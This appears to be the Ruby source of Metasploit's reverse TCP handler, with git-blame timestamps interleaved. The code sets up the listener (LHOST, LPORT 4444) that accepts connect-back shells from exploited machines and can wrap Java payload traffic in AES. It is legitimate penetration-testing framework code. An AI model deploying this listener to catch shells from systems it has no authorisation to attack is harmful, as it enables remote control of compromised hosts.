2012-06-29 00:18:28 -05:00
# -*- coding: binary -*-
2011-05-12 20:03:55 +00:00
require 'rex/socket'
2011-04-30 18:51:50 +00:00
require 'thread'
2010-02-06 17:59:25 +00:00
2005-07-11 02:03:48 +00:00
module Msf
module Handler
###
#
# This module implements the reverse TCP handler. This means
# that it listens on a port waiting for a connection until
# either one is established or it is told to abort.
#
# This handler depends on having a local host and port to
# listen on.
#
###
module ReverseTcp
2013-08-30 16:28:33 -05:00
include Msf :: Handler
#
# Returns the string representation of the handler type, in this case
# 'reverse_tcp'.
#
def self . handler_type
return " reverse_tcp "
end
#
# Returns the connection-described general handler type, in this case
# 'reverse'.
#
def self . general_handler_type
" reverse "
end
#
# Initializes the reverse TCP handler and ads the options that are required
# for all reverse TCP payloads, like local host and local port.
#
def initialize ( info = { } )
super
register_options (
[
Opt :: LHOST ,
Opt :: LPORT ( 4444 )
] , Msf :: Handler :: ReverseTcp )
# XXX: Not supported by all modules
register_advanced_options (
[
OptInt . new ( 'ReverseConnectRetries' , [ true , 'The number of connection attempts to try before exiting the process' , 5 ] ) ,
OptAddress . new ( 'ReverseListenerBindAddress' , [ false , 'The specific IP address to bind to on the local system' ] ) ,
2013-09-28 05:38:39 +10:00
OptInt . new ( 'ReverseListenerBindPort' , [ false , 'The port to bind to on the local system if different from LPORT' ] ) ,
2013-08-30 16:28:33 -05:00
OptString . new ( 'ReverseListenerComm' , [ false , 'The specific communication channel to use for this listener' ] ) ,
2014-06-22 15:26:23 -05:00
OptBool . new ( 'ReverseAllowProxy' , [ true , 'Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST' , false ] ) ,
OptBool . new ( 'ReverseListenerThreaded' , [ true , 'Handle every connection in a new thread (experimental)' , false ] )
2013-08-30 16:28:33 -05:00
] , Msf :: Handler :: ReverseTcp )
self . handler_queue = :: Queue . new
2014-06-22 15:26:23 -05:00
self . conn_threads = [ ]
2013-08-30 16:28:33 -05:00
end
#
# Starts the listener but does not actually attempt
# to accept a connection. Throws socket exceptions
# if it fails to start the listener.
#
def setup_handler
if datastore [ 'Proxies' ] and not datastore [ 'ReverseAllowProxy' ]
raise RuntimeError , 'TCP connect-back payloads cannot be used with Proxies. Can be overriden by setting ReverseAllowProxy to true'
end
ex = false
comm = datastore [ 'ReverseListenerComm' ]
if comm . to_s == " local "
comm = :: Rex :: Socket :: Comm :: Local
else
comm = nil
end
2013-11-05 06:56:21 +10:00
local_port = bind_port
addrs = bind_address
2013-08-30 16:28:33 -05:00
addrs . each { | ip |
begin
self . listener_sock = Rex :: Socket :: TcpServer . create (
'LocalHost' = > ip ,
2013-09-28 05:38:39 +10:00
'LocalPort' = > local_port ,
2013-08-30 16:28:33 -05:00
'Comm' = > comm ,
'Context' = >
{
'Msf' = > framework ,
'MsfPayload' = > self ,
'MsfExploit' = > assoc_exploit
} )
ex = false
comm_used = comm || Rex :: Socket :: SwitchBoard . best_comm ( ip )
comm_used = Rex :: Socket :: Comm :: Local if comm_used == nil
if ( comm_used . respond_to? ( :type ) and comm_used . respond_to? ( :sid ) )
via = " via the #{ comm_used . type } on session #{ comm_used . sid } "
else
via = " "
end
2013-09-28 05:38:39 +10:00
print_status ( " Started reverse handler on #{ ip } : #{ local_port } #{ via } " )
2013-08-30 16:28:33 -05:00
break
rescue
ex = $!
2013-09-28 05:38:39 +10:00
print_error ( " Handler failed to bind to #{ ip } : #{ local_port } " )
2013-08-30 16:28:33 -05:00
end
}
raise ex if ( ex )
end
#
# Closes the listener socket if one was created.
#
def cleanup_handler
stop_handler
2014-06-22 15:26:23 -05:00
# Kill any remaining handle_connection threads that might
# be hanging around
conn_threads . each { | thr |
thr . kill rescue nil
}
2013-08-30 16:28:33 -05:00
end
#
# Starts monitoring for an inbound connection.
#
def start_handler
2013-11-05 06:56:21 +10:00
local_port = bind_port
2013-09-28 05:38:39 +10:00
self . listener_thread = framework . threads . spawn ( " ReverseTcpHandlerListener- #{ local_port } " , false ) {
2013-08-30 16:28:33 -05:00
client = nil
begin
# Accept a client connection
begin
client = self . listener_sock . accept
rescue
wlog ( " Exception raised during listener accept: #{ $! } \n \n #{ $@ . join ( " \n " ) } " )
break
end
# Increment the has connection counter
self . pending_connections += 1
self . handler_queue . push ( client )
end while true
}
2013-09-28 05:38:39 +10:00
self . handler_thread = framework . threads . spawn ( " ReverseTcpHandlerWorker- #{ local_port } " , false ) {
2013-08-30 16:28:33 -05:00
while true
client = self . handler_queue . pop
begin
2014-06-22 15:26:23 -05:00
if datastore [ 'ReverseListenerThreaded' ]
2014-06-22 16:01:03 -05:00
self . conn_threads << framework . threads . spawn ( " ReverseTcpHandlerSession- #{ local_port } - #{ client . peerhost } " , false , client ) { | client_copy |
2014-06-22 15:26:23 -05:00
handle_connection ( wrap_aes_socket ( client_copy ) )
}
else
handle_connection ( wrap_aes_socket ( client ) )
end
2013-08-30 16:28:33 -05:00
rescue :: Exception
elog ( " Exception raised from handle_connection: #{ $! . class } : #{ $! } \n \n #{ $@ . join ( " \n " ) } " )
end
end
}
end
def wrap_aes_socket ( sock )
if datastore [ " PAYLOAD " ] !~ / java \/ / or ( datastore [ " AESPassword " ] || " " ) == " "
return sock
end
socks = Rex :: Socket :: tcp_socket_pair ( )
socks [ 0 ] . extend ( Rex :: Socket :: Tcp )
socks [ 1 ] . extend ( Rex :: Socket :: Tcp )
2014-01-07 22:06:11 +01:00
m = OpenSSL :: Digest . new ( 'md5' )
2013-08-30 16:28:33 -05:00
m . reset
key = m . digest ( datastore [ " AESPassword " ] || " " )
Rex :: ThreadFactory . spawn ( 'AESEncryption' , false ) {
2014-01-07 22:06:11 +01:00
c1 = OpenSSL :: Cipher . new ( 'aes-128-cfb8' )
2013-08-30 16:28:33 -05:00
c1 . encrypt
c1 . key = key
sock . put ( [ 0 ] . pack ( 'N' ) )
sock . put ( c1 . iv = c1 . random_iv )
buf1 = socks [ 0 ] . read ( 4096 )
while buf1 and buf1 != " "
sock . put ( c1 . update ( buf1 ) )
buf1 = socks [ 0 ] . read ( 4096 )
end
sock . close ( )
}
Rex :: ThreadFactory . spawn ( 'AESEncryption' , false ) {
2014-01-07 22:06:11 +01:00
c2 = OpenSSL :: Cipher . new ( 'aes-128-cfb8' )
2013-08-30 16:28:33 -05:00
c2 . decrypt
c2 . key = key
iv = " "
while iv . length < 16
iv << sock . read ( 16 - iv . length )
end
c2 . iv = iv
buf2 = sock . read ( 4096 )
while buf2 and buf2 != " "
socks [ 0 ] . put ( c2 . update ( buf2 ) )
buf2 = sock . read ( 4096 )
end
socks [ 0 ] . close ( )
}
return socks [ 1 ]
end
#
# Stops monitoring for an inbound connection.
#
def stop_handler
# Terminate the listener thread
if ( self . listener_thread and self . listener_thread . alive? == true )
self . listener_thread . kill
self . listener_thread = nil
end
# Terminate the handler thread
if ( self . handler_thread and self . handler_thread . alive? == true )
self . handler_thread . kill
self . handler_thread = nil
end
if ( self . listener_sock )
self . listener_sock . close
self . listener_sock = nil
end
end
2005-07-11 02:03:48 +00:00
protected
2013-11-05 06:56:21 +10:00
def bind_port
2013-09-28 05:38:39 +10:00
port = datastore [ 'ReverseListenerBindPort' ] . to_i
port > 0 ? port : datastore [ 'LPORT' ] . to_i
end
2013-11-05 06:56:21 +10:00
def bind_address
2013-09-28 05:38:39 +10:00
# Switch to IPv6 ANY address if the LHOST is also IPv6
addr = Rex :: Socket . resolv_nbo ( datastore [ 'LHOST' ] )
# First attempt to bind LHOST. If that fails, the user probably has
# something else listening on that interface. Try again with ANY_ADDR.
any = ( addr . length == 4 ) ? " 0.0.0.0 " : " ::0 "
addrs = [ Rex :: Socket . addr_ntoa ( addr ) , any ]
if not datastore [ 'ReverseListenerBindAddress' ] . to_s . empty?
# Only try to bind to this specific interface
addrs = [ datastore [ 'ReverseListenerBindAddress' ] ]
# Pick the right "any" address if either wildcard is used
addrs [ 0 ] = any if ( addrs [ 0 ] == " 0.0.0.0 " or addrs == " ::0 " )
end
addrs
end
2013-08-30 16:28:33 -05:00
attr_accessor :listener_sock # :nodoc:
attr_accessor :listener_thread # :nodoc:
attr_accessor :handler_thread # :nodoc:
attr_accessor :handler_queue # :nodoc:
2014-06-22 15:26:23 -05:00
attr_accessor :conn_threads # :nodoc:
2005-07-11 02:03:48 +00:00
end
end
2008-11-21 01:09:17 +00:00
end